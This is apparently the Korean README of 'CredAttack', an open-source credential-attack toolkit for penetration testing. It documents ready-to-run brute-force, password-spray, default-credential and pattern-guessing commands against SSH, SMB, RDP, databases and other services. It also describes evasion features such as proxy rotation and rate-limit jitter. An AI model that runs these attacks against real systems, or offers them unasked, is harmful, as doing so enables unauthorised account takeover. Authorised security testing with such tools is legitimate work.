
credential-attacks-toolkit — Updated!
공인된 보안 테스트를 위한 완전한 자격 증명 공격 제품군 — SSH, FTP, Web Login, Bruteforce, Dictionary attacks
CredAttack — 자격 증명 공격 툴킷
⚠️ 법적 고지 — 승인된 보안 테스트 전용.
본 도구를 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하는 것은 미국의 Computer Fraud and Abuse Act, 영국의 Computer Misuse Act 및 전 세계의 동등한 법률에 따라 불법입니다. SECURITY.md를 참조하세요.
목차
- CredAttack이란 무엇인가?
- 공격 모드
- 지원 프로토콜
- 아키텍처
- 빠른 시작
- 설치
- CLI 참조
- 비밀번호 변형 엔진
- 기본 자격 증명 데이터베이스
- 프록시 순환
- HTML 보고서
- 구성 및 환경 변수
- Docker
- 테스트
- 프로젝트 구조
- 기여
CredAttack이란 무엇인가?
CredAttack은 승인된 침투 테스트 작업을 위한 모듈식, 프로덕션급 자격 증명 테스트 스위트입니다. 자격 증명 공격의 전체 수명 주기를 다룹니다:
| 단계 | CredAttack 기능 |
|---|---|
| 정찰 | 기본 자격 증명 DB(200개 이상 쌍), 스마트 사용자 이름 기반 패턴 생성 |
| 공격 | 17개 프로토콜 공격기, 6가지 공격 모드, 다중 대상 캠페인 |
| 회피 | 잠금 감지, 구성 가능한 속도 제한, 지터, 프록시 순환 |
| 보고 | JSONL 감사 로그, Jinja2 HTML 보고서, 발견된 자격 증명 배너 + 파일 덤프 |
공격 모드
| 모드 | 명령 | 설명 |
|---|---|---|
| 사전 | ssh, ftp, smb, … | 단일 사용자에 대한 단어 목록 |
| 스프레이 | spray | 사용자 목록에 대한 단일 비밀번호(잠금 방지) |
| 콤보 | combo | 모든 사용자 × 모든 비밀번호 |
| 스마트 | smart | 사용자 이름/회사 기반 패턴 생성 |
| 기본값 | defaults | 200개 이상의 알려진 서비스 기본값 시도 |
| 다중 대상 | multi | 호스트 목록에 대한 동일한 공격 |
| 전체 파이프라인 | full | 모든 프로토콜, 단일 보고서 |
지원 프로토콜
| # | 프로토콜 | 모듈 | 기본 포트 | 참고 |
|---|---|---|---|---|
| 1 | SSH | ssh.py | 22 | paramiko, 키/비밀번호 인증 |
| 2 | FTP | ftp.py | 21 | 능동 및 수동 모드 |
| 3 | HTTP 폼 | http_form.py | 80/443 | 자동 CSRF 토큰 감지 |
| 4 | HTTP Basic | http_basic.py | 80 | RFC 7617 |
| 5 | HTTP Digest | http_digest.py | 80 | RFC 7616 |
| 6 | SMB | smb.py | 445 | impacket, NTLM |
| 7 | RDP | rdp.py | 3389 | impacket NLA |
| 8 | SMTP | smtp.py | 587 | STARTTLS |
| 9 | POP3 | pop3.py | 110 | APOP 지원 |
| 10 | IMAP | imap.py | 143 | STARTTLS |
| 11 | MySQL | mysql.py | 3306 | mysql-connector-python |
| 12 | MSSQL | mssql.py | 1433 | pymssql |
| 13 | Redis | redis_proto.py | 6379 | AUTH 명령 |
| 14 | MongoDB | mongodb.py | 27017 | pymongo |
| 15 | WinRM | winrm.py | 5985 | NTLM, pywinrm |
| 16 | LDAP | ldap_proto.py | 389 | ldap3, rootDSE 자동 감지 |
| 17 | Telnet | telnet.py | 23 | 원시 TCP |
| 18 | VNC | vnc.py | 5900 | 원시 DES 챌린지-응답 |
아키텍처
credattack.py ← 얇은 셸: 체크아웃에서 `python credattack.py ...` 실행
│
├── credattack/cli.py ← CLI (Typer) — 8개 공격 모드 하위 명령; pip 설치 시
│ `credattack` 콘솔 스크립트로도 동작
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, CREDATTACK_* 환경 변수 재정의
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich 진행 UI)
│ ├── lockout.py ← LockoutDetector (슬라이딩 윈도우, 스레드 안전)
│ ├── proxy.py ← ProxyRotator (라운드 로빈, 상태 확인, 강등)
│ ├── mutator.py ← PasswordMutator (leet, 계절별, 접미사, 키보드 워크…)
│ ├── result.py ← AttemptResult + SessionReport 데이터클래스
│ ├── report.py ← Jinja2 HTML 보고서 생성기
│ └── logger.py ← Rich 로깅 + JSONL 감사 기록기
│
├── credattack/protocols/
│ └── *.py ← 18개 ProtocolAttacker 구현
│
├── credattack/data/
│ ├── default_creds.json ← 200개 이상의 실제 기본 자격 증명 쌍
│ ├── smart_patterns.json ← 140개 이상의 엔터프라이즈 비밀번호 템플릿
│ └── wordlists/ ← 서비스별 기본 비밀번호 목록
│
└── tests/ ← 50개 이상의 pytest 테스트 (단위 + 프로토콜 목)
빠른 시작
# 클론 및 설정
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# 버전 확인
python credattack.py --version
# 드라이런 (연결 없음 — 단어 목록 검증)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# 실제 SSH 사전 공격
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# 비밀번호 스프레이 (속도 제한, 잠금 방지)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# 스마트 모드 — 사용자 이름 + 회사에서 패턴 생성
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# 서비스 기본값 시도
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# 다중 대상 캠페인
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
설치
옵션 A — pip + virtualenv (권장)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
옵션 B — Makefile 단축 명령
make install # 핵심 의존성
make install-dev # + pytest-cov, ruff, mypy
옵션 C — pip 설치 (editable 또는 wheel)
pip install -e . # 핵심 의존성만
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # 콘솔 스크립트, `python credattack.py`와 동일
옵션 D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# 단어 목록 마운트 및 출력 수집
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
CLI 참조
전역 옵션
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version 버전 표시 후 종료.
--help 도움말 표시.
공통 플래그 (모든 프로토콜 명령에서 사용 가능)
| 플래그 | 약어 | 기본값 | 설명 |
|---|---|---|---|
--target | -t | — | 대상 호스트 / IP |
--port | 0 (프로토콜 기본값) | TCP 포트 재정의 | |
--username | -u | — | 단일 사용자 이름 |
--user-file | -U | — | 줄바꿈으로 구분된 사용자 이름 파일 |
--pass-file | -P | — | 줄바꿈으로 구분된 비밀번호 파일 |
--password | -p2 | — | 단일 비밀번호 |
--threads | -n | 10 | 동시 작업자 수 |
--timeout | -T | 5.0 | 시도당 시간 초과 (초) |
--delay | -d | 0.0 | 시도 간 고정 지연 (초) |
--jitter | 0.0 | 최대 무작위 지터 (초) | |
--stop-on-first | True | 첫 성공 후 사용자별 중지 | |
--proxy-file | None | HTTP/SOCKS5 프록시 목록 | |
--output-dir | -o | ./output | 결과 디렉터리 |
--verbosity | -v | 1 | 로깅 수준 (0-3) |
--dry-run | False | 연결 없이 쌍 계산 |
하위 명령
# 프로토콜별 (각각 전용 공격기에 매핑)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (폼 / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# 스프레이 — 단일 비밀번호, 많은 사용자, 긴 지연
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# 콤보 — 사용자 × 비밀번호 데카르트 곱
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# 스마트 — OSINT 기반 생성
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# 기본값 — 공급업체 기본 자격 증명 시도
python credattack.py defaults -t HOST --protocol mysql
# 다중 — 여러 호스트에 동일한 공격
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# 전체 — 모든 프로토콜 순차 실행
python credattack.py full -t HOST -U users.txt -P passes.txt
비밀번호 변형 엔진
credattack/core/mutator.py의 PasswordMutator는 조합 가능한 전략을 지원합니다:
| 전략 | 메서드 | 출력 예시 |
|---|---|---|
| Leet 스피크 | leet_speak(word) | p@ssw0rd, p455w0rd |
| 대문자화 | capitalise_variants(word) | PASSWORD, Password, pAsSwOrD |
| 접미사 | suffix_append(word) | password123, password@2025 |
| 접두사 | prefix_append(word) | !password, mypassword |
| 키보드 워크 | keyboard_walk(word) | qassword (a→q) |
| 사용자 이름 패턴 | username_patterns(user, company) | john123, Doe1!, ACME2024! |
| 계절별 (v1.1) | seasonal_patterns(company) | Summer2024!, Winter25 |
| 특수 문자 래핑 (v1.1) | special_char_wrap(word) | !@Password, Password!@ |
| 결합 | combine(word, strategies) | 위 항목을 모두 연결 |
| 스마트 (올인원) | smart_generate(user, company) | 중복 제거, 상한 스트림 |
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# 모든 전략 결합
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# 계절별 패턴만
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
기본 자격 증명 데이터베이스
credattack/data/default_creds.json에는 다음에 대한 200개 이상의 실제 기본 자격 증명 쌍이 포함되어 있습니다:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# 서비스의 모든 기본값 보기
python credattack.py defaults -t HOST --protocol mysql --dry-run
# 대상에 대해 실행
python credattack.py defaults -t 10.0.0.1 --protocol ssh
프록시 순환
프록시 파일 전달 (줄당 하나의 프록시, host:port 형식):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotator는 시작 시 상태 확인을 수행하고 실패율 임계값을 초과하는 프록시를 강등합니다. 죽은 프록시는 자동으로 제외됩니다.
HTML 보고서
드라이런이 아닌 모든 공격 후 ./output/에 HTML 보고서가 자동 생성됩니다:
- 통계 카드: 총 시도 횟수, 성공률, 소요 시간, 초당 시도 횟수
- 발견된 자격 증명 테이블: 호스트 · 프로토콜 · 사용자 이름 · 비밀번호 (클립보드 복사)
- 다크 테마 Jinja2 템플릿
# 실행 후 열기
start output/report_*.html # Windows
open output/report_*.html # macOS
구성 및 환경 변수
credattack/core/config.py의 모든 설정은 CREDATTACK_* 환경 변수를 통해 재정의할 수 있습니다:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
또는 표준 플래그(--threads, --timeout 등)로 CLI 수준에서 설정할 수 있습니다.
Docker
# 이미지 빌드
docker build -t credattack -f docker/Dockerfile .
# Docker Compose로 실행
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# 환경 변수로 구성 설정
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
테스트
# 모든 테스트 실행
pytest -q
# 커버리지 포함
pytest --cov=credattack --cov-report=term-missing -q
# Makefile 단축 명령
make test-cov
현재 스위트: 50개 이상의 테스트 포함:
| 영역 | 테스트 |
|---|---|
| 잠금 감지기 (슬라이딩 윈도우, 스레드 안전) | test_lockout.py |
| 비밀번호 변형기 전략 | test_mutator.py |
| 새 변형기 전략 (계절별, 특수 문자) | test_mutator_extended.py |
| 프록시 순환기 (상태 확인, 강등) | test_proxy.py |
| Result 및 SessionReport 데이터클래스 | test_result.py |
| SSH 프로토콜 목 | test_protocols_ssh.py |
| FTP 프로토콜 목 | test_protocols_ftp.py |
| HTTP Basic 및 Digest 목 | test_protocols_http.py |
단어 목록
⚠️ 번들된
wordlists/파일은 최소한의 스모크 테스트 스텁입니다. 실제 평가에는 자체 목록을 사용하세요.
권장 소스
| 단어 목록 | 크기 | 가장 적합한 용도 |
|---|---|---|
rockyou.txt | ~14 M | 일반 사전 |
SecLists/Passwords/ | 다양함 | 프로토콜별 |
kaonashi.txt | ~64 M | 고급 커버리지 |
| OSINT 기반 | 가변 | 표적 공격 |
# 외부 단어 목록 사용
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
프로젝트 구조
credential-attacks-toolkit/
├── credattack.py # 얇은 셸 -> credattack.cli:app (소스 체크아웃 사용)
├── pyproject.toml # PEP 517/518 빌드 및 도구 구성
├── requirements.txt # 런타임 의존성
├── Makefile # 개발자 단축 명령
├── VERSION # 버전의 단일 소스
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: 린트 + 테스트 매트릭스 + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — 패키징됨, 콘솔 스크립트 지원
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (슬라이딩 윈도우)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # HTML 보고서 생성기
│ │ └── logger.py # Rich 로거 + JSONL 기록기
│ ├── protocols/ # 18개 ProtocolAttacker 구현
│ │ └── base.py # 추상 ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200개 이상의 공급업체 기본값
│ ├── smart_patterns.json # 140개 이상의 엔터프라이즈 템플릿
│ └── wordlists/ # 서비스별 시작 목록
├── attacks/ # 독립 실행형 단일 파일 도구 (credattack/ 이전;
│ └── *.py # 아직 이식되지 않은 스크립트용 유지: JWT 크래킹,
│ # WAF 감지, 타이밍 기반 사용자 열거)
├── utils/
│ └── credential_utils.py # attacks/ 스크립트용 공유 헬퍼
├── tests/
│ ├── conftest.py # 공유 픽스처
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # 최소 스모크 테스트 스텁
└── output/ # 생성된 로그 및 보고서 (git 제외)
공격 성공률 (참고용)
| 비밀번호 유형 | 사전 | 스마트 모드 | 스프레이 (일반) |
|---|---|---|---|
| 4자 | ~90% | ~95% | ~60% |
| 6자 | ~65% | ~75% | ~25% |
| 8자 혼합 | ~15% | ~25% | ~5% |
| 10자 이상 복합 | <5% | <5% | <1% |
기여
CONTRIBUTING.md를 참조하세요.
대규모 PR을 제출하기 전에 이슈를 먼저 열어주세요.
모든 기여는 SECURITY.md의 윤리적 사용 정책을 준수해야 합니다.
책임 있게 사용하세요. 윤리적으로 테스트하세요. 합법적으로 유지하세요.